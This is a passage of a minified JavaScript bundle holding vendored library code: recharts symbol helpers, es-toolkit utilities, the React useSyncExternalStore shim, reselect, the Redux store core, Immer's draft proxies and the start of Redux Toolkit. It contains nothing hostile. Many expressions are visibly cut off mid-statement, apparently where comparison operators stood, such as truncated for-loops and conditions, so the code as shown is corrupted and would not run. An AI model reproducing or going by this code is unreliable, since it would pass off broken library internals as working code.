fe(u)&&fe(d)&&fe(n)?p.createElement("path",zm({},f,{className:qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};D5.registerSymbol=J_;var R5=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,wx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{xx(i)&&(r[i]=a=>n[i](n,a))}),r},eO=(e,t,n)=>r=>(e(t,n,r),null),tO=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];xx(i)&&typeof a=="function"&&(r||(r={}),r[i]=eO(a,t,n))}),r};function Kg(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function nO(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var $5={},B5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(U5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=U5;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(dd);var V5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(V5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dd,n=V5;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(W5);var H5={},K5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ld;function n(r){return function(i){return t.get(i,r)}}e.property=n})(K5);var q5={},kx={},Y5={},Nx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Nx);var Sx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Sx);var zx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(zx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Nx,n=Sx,r=zx;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(kx);var G5={},Cx={},X5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(X5);var fd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(fd);var Px={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",O="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Px);var Z5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(Z5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=X5,n=fd,r=Px,i=Sx,a=Z5;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(q5);var Q5={},J5={},ek={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Cx,n=fd,r=Px;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(ek);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ek;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(J5);var tk={},Ex={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?hO:mO;sk.useSyncExternalStore=Ka.useSyncExternalStore!==void 0?Ka.useSyncExternalStore:xO;ak.exports=sk;var vO=ak.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var pd=p,gO=vO;function yO(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var bO=typeof Object.is=="function"?Object.is:yO,wO=gO.useSyncExternalStore,jO=pd.useRef,kO=pd.useEffect,NO=pd.useMemo,SO=pd.useDebugValue;ik.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=jO(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=NO(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,bO(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=wO(e,a[0],a[1]);return kO(function(){o.hasValue=!0,o.value=l},[l]),SO(l),l};rk.exports=ik;var zO=rk.exports,Ax=p.createContext(null),CO=e=>e,tt=()=>{var e=p.useContext(Ax);return e?e.store.dispatch:CO},lc=()=>{},PO=()=>lc,EO=(e,t)=>e===t;function xe(e){var t=p.useContext(Ax),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:lc,[t,e]);return zO.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:PO,t?t.store.getState:lc,t?t.store.getState:lc,n,EO)}function AO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function _O(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function OO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var Yg=e=>Array.isArray(e)?e:[e];function TO(e){const t=Array.isArray(e[0])?e[0]:e;return OO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function MO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Pl(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function RO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),AO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=ok,argsMemoizeOptions:x=[]}=d,g=Yg(m),y=Yg(x),v=TO(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=MO(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var M=RO(ok),$O=Object.assign((e,t=M)=>{_O(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>$O}),lk={},ck={},uk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(uk);var dk={},_x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(_x);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=_x,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(dk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=uk,n=dk,r=ud;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ck);var fk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(lk);var BO=lk.sortBy;const md=Cr(BO);var pk=e=>e.legend.settings,FO=e=>e.legend.size,WO=e=>e.legend.payload;M([WO,pk],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?md(r,n):r});var El=1;function UO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>El||Math.abs(o.left-t.left)>El||Math.abs(o.top-t.top)>El||Math.abs(o.width-t.width)>El)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function yt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var VO=typeof Symbol=="function"&&Symbol.observable||"@@observable",Xg=VO,Yf=()=>Math.random().toString(36).substring(7).split("").join("."),HO={INIT:`@@redux/INIT${Yf()}`,REPLACE:`@@redux/REPLACE${Yf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Yf()}`},Kc=HO;function Tx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function mk(e,t,n){if(typeof e!="function")throw new Error(yt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(yt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(yt(1));return n(mk)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(yt(3));return i}function f(y){if(typeof y!="function")throw new Error(yt(4));if(c)throw new Error(yt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(yt(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!Tx(y))throw new Error(yt(7));if(typeof y.type>"u")throw new Error(yt(8));if(typeof y.type!="string")throw new Error(yt(17));if(c)throw new Error(yt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(yt(10));r=y,m({type:Kc.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(yt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[Xg](){return this}}}return m({type:Kc.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[Xg]:x}}function KO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Kc.INIT})>"u")throw new Error(yt(12));if(typeof n(void 0,{type:Kc.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(yt(13))})}function hk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(yt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function qc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function qO(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(yt(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=qc(...l)(i.dispatch),{...i,dispatch:a}}}function xk(e){return Tx(e)&&"type"in e&&typeof e.type=="string"}var vk=Symbol.for("immer-nothing"),Zg=Symbol.for("immer-draftable"),Lt=Symbol.for("immer-state");function _n(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var en=Object,qa=en.getPrototypeOf,Yc="constructor",hd="prototype",Cm="configurable",Gc="enumerable",cc="writable",zo="value",wr=e=>!!e&&!!e[Lt];function $n(e){var t;return e?gk(e)||vd(e)||!!e[Zg]||!!((t=e[Yc])!=null&&t[Zg])||gd(e)||yd(e):!1}var YO=en[hd][Yc].toString(),Qg=new WeakMap;function gk(e){if(!e||!Mx(e))return!1;const t=qa(e);if(t===null||t===en[hd])return!0;const n=en.hasOwnProperty.call(t,Yc)&&t[Yc];if(n===Object)return!0;if(!pa(n))return!1;let r=Qg.get(n);return r===void 0&&(r=Function.toString.call(n),Qg.set(n,r)),r===YO}function xd(e,t,n=!0){qo(e)===0?(n?Reflect.ownKeys(e):en.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function qo(e){const t=e[Lt];return t?t.type_:vd(e)?1:gd(e)?2:yd(e)?3:0}var Jg=(e,t,n=qo(e))=>n===2?e.has(t):en[hd].hasOwnProperty.call(e,t),Pm=(e,t,n=qo(e))=>n===2?e.get(t):e[t],Xc=(e,t,n,r=qo(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function GO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var vd=Array.isArray,gd=e=>e instanceof Map,yd=e=>e instanceof Set,Mx=e=>typeof e=="object",pa=e=>typeof e=="function",Gf=e=>typeof e=="boolean";function XO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var lr=e=>e.copy_||e.base_,Lx=e=>e.modified_?e.copy_:e.base_;function Em(e,t){if(gd(e))return new Map(e);if(yd(e))return new Set(e);if(vd(e))return Array[hd].slice.call(e);const n=gk(e);if(t===!0||t==="class_only"&&!n){const r=en.getOwnPropertyDescriptors(e);delete r[Lt];let i=Reflect.ownKeys(r);for(let a=0;a1&&en.defineProperties(e,{set:Al,add:Al,clear:Al,delete:Al}),en.freeze(e),t&&xd(e,(n,r)=>{Ix(r,!0)},!1)),e}function ZO(){_n(2)}var Al={[zo]:ZO};function bd(e){return e===null||!Mx(e)?!0:en.isFrozen(e)}var Zc="MapSet",Am="Patches",ey="ArrayMethods",yk={};function Qi(e){const t=yk[e];return t||_n(0,e),t}var ty=e=>!!yk[e],Co,bk=()=>Co,QO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:ty(Zc)?Qi(Zc):void 0,arrayMethodsPlugin_:ty(ey)?Qi(ey):void 0});function ny(e,t){t&&(e.patchPlugin_=Qi(Am),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function _m(e){Om(e),e.drafts_.forEach(JO),e.drafts_=null}function Om(e){e===Co&&(Co=e.parent_)}var ry=e=>Co=QO(Co,e);function JO(e){const t=e[Lt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function iy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Lt].modified_&&(_m(t),_n(4)),$n(e)&&(e=ay(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Lt].base_,e,t)}else e=ay(t,n);return e6(t,e,!0),_m(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==vk?e:void 0}function ay(e,t){if(bd(t))return t;const n=t[Lt];if(!n)return Qc(t,e.handledSet_,e);if(!wd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);kk(n,e)}return n.copy_}function e6(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ix(t,n)}function wk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var wd=(e,t)=>e.scope_===t,t6=[];function jk(e,t,n,r){const i=lr(e),a=e.type_;if(r!==void 0&&Pm(i,r,a)===t){Xc(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;xd(i,(c,u)=>{if(wr(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??t6;for(const l of o)Xc(i,l,n,a)}function n6(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!wd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=Lx(a);jk(e,a.draft_??a,o,n),kk(a,i)})}function kk(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}wk(e)}}function r6(e,t,n){const{scope_:r}=e;if(wr(n)){const i=n[Lt];wd(i,r)&&i.callbacks_.push(function(){uc(e);const o=Lx(i);jk(e,n,o,t)})}else $n(n)&&e.callbacks_.push(function(){const a=lr(e);e.type_===3?a.has(n)&&Qc(n,r.handledSet_,r):Pm(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&Qc(Pm(e.copy_,t,e.type_),r.handledSet_,r)})}function Qc(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||wr(e)||t.has(e)||!$n(e)||bd(e)||(t.add(e),xd(e,(r,i)=>{if(wr(i)){const a=i[Lt];if(wd(a,n)){const o=Lx(a);Xc(e,r,o,e.type_),wk(a)}}else $n(i)&&Qc(i,t,n)})),e}function i6(e,t){const n=vd(e),r={type_:n?1:0,scope_:t?t.scope_:bk(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=Jc;n&&(i=[r],a=Po);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var Jc={get(e,t){if(t===Lt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=lr(e);if(!Jg(i,t,e.type_))return a6(e,i,t);const a=i[t];if(e.finalized_||!$n(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&XO(t))return a;if(a===Xf(e.base_,t)){uc(e);const o=e.type_===1?+t:t,l=Mm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in lr(e)},ownKeys(e){return Reflect.ownKeys(lr(e))},set(e,t,n){const r=Nk(lr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Xf(lr(e),t),a=i==null?void 0:i[Lt];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(GO(n,i)&&(n!==void 0||Jg(e.base_,t,e.type_)))return!0;uc(e),Tm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),r6(e,t,n)),!0},deleteProperty(e,t){return uc(e),Xf(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Tm(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=lr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[cc]:!0,[Cm]:e.type_!==1||t!=="length",[Gc]:r[Gc],[zo]:n[t]}},defineProperty(){_n(11)},getPrototypeOf(e){return qa(e.base_)},setPrototypeOf(){_n(12)}},Po={};for(let e in Jc){let t=Jc[e];Po[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Po.deleteProperty=function(e,t){return Po.set.call(this,e,t,void 0)};Po.set=function(e,t,n){return Jc.set.call(this,e[0],t,n,e[0])};function Xf(e,t){const n=e[Lt];return(n?lr(n):e)[t]}function a6(e,t,n){var i;const r=Nk(t,n);return r?zo in r?r[zo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Nk(e,t){if(!(t in e))return;let n=qa(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=qa(n)}}function Tm(e){e.modified_||(e.modified_=!0,e.parent_&&Tm(e.parent_))}function uc(e){e.copy_||(e.assigned_=new Map,e.copy_=Em(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var s6=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(pa(n)&&!pa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}pa(r)||_n(6),i!==void 0&&!pa(i)&&_n(7);let a;if($n(n)){const o=ry(this),l=Mm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?_m(o):Om(o)}return ny(o,i),iy(a,o)}else if(!n||!Mx(n)){if(a=r(n),a===void 0&&(a=n),a===vk&&(a=void 0),this.autoFreeze_&&Ix(a,!0),i){const o=[],l=[];Qi(Am).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else _n(1,n)},this.produceWithPatches=(n,r)=>{if(pa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},Gf(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),Gf(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),Gf(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){$n(t)||_n(8),wr(t)&&(t=In(t));const n=ry(this),r=Mm(n,t,void 0);return r[Lt].isManual_=!0,Om(n),r}finishDraft(t,n){const r=t&&t[Lt];(!r||!r.isManual_)&&_n(9);const{scope_:i}=r;return ny(i,n),iy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=Qi(Am).applyPatches_;return wr(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Mm(e,t,n,r){const[i,a]=gd(t)?Qi(Zc).proxyMap_(t,n):yd(t)?Qi(Zc).proxySet_(t,n):i6(t,n);return((n==null?void 0:n.scope_)??bk()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?n6(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function In(e){return wr(e)||_n(10,e),Sk(e)}function Sk(e){if(!$n(e)||bd(e))return e;const t=e[Lt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Em(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Em(e,!0);return xd(n,(i,a)=>{Xc(n,i,Sk(a))},r),t&&(t.finalized_=!1),n}var o6=new s6,zk=o6.produce;function Ck(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var l6=Ck(),c6=Ck,u6=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?qc:qc.apply(null,arguments)};function jn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(rn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>xk(r)&&r.type===e,n}var Pk=class Us extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Us.prototype)}static get[Symbol.species](){return Us}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Us(...t[0].concat(this)):new Us(...t.concat(this))}};function sy(e){return $n(e)?zk(e,()=>{}):e}function _l(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function d6(e){return typeof e=="boolean"}var f6=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new Pk;return n&&(d6(n)?o.push(l6):o.push(c6(n.extraArgument))),o},Ek="RTK_autoBatch",$e=()=>e=>({payload:e,meta:{[Ek]:!0}}),oy=e=>t=>{setTimeout(t,e)},Ak=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof 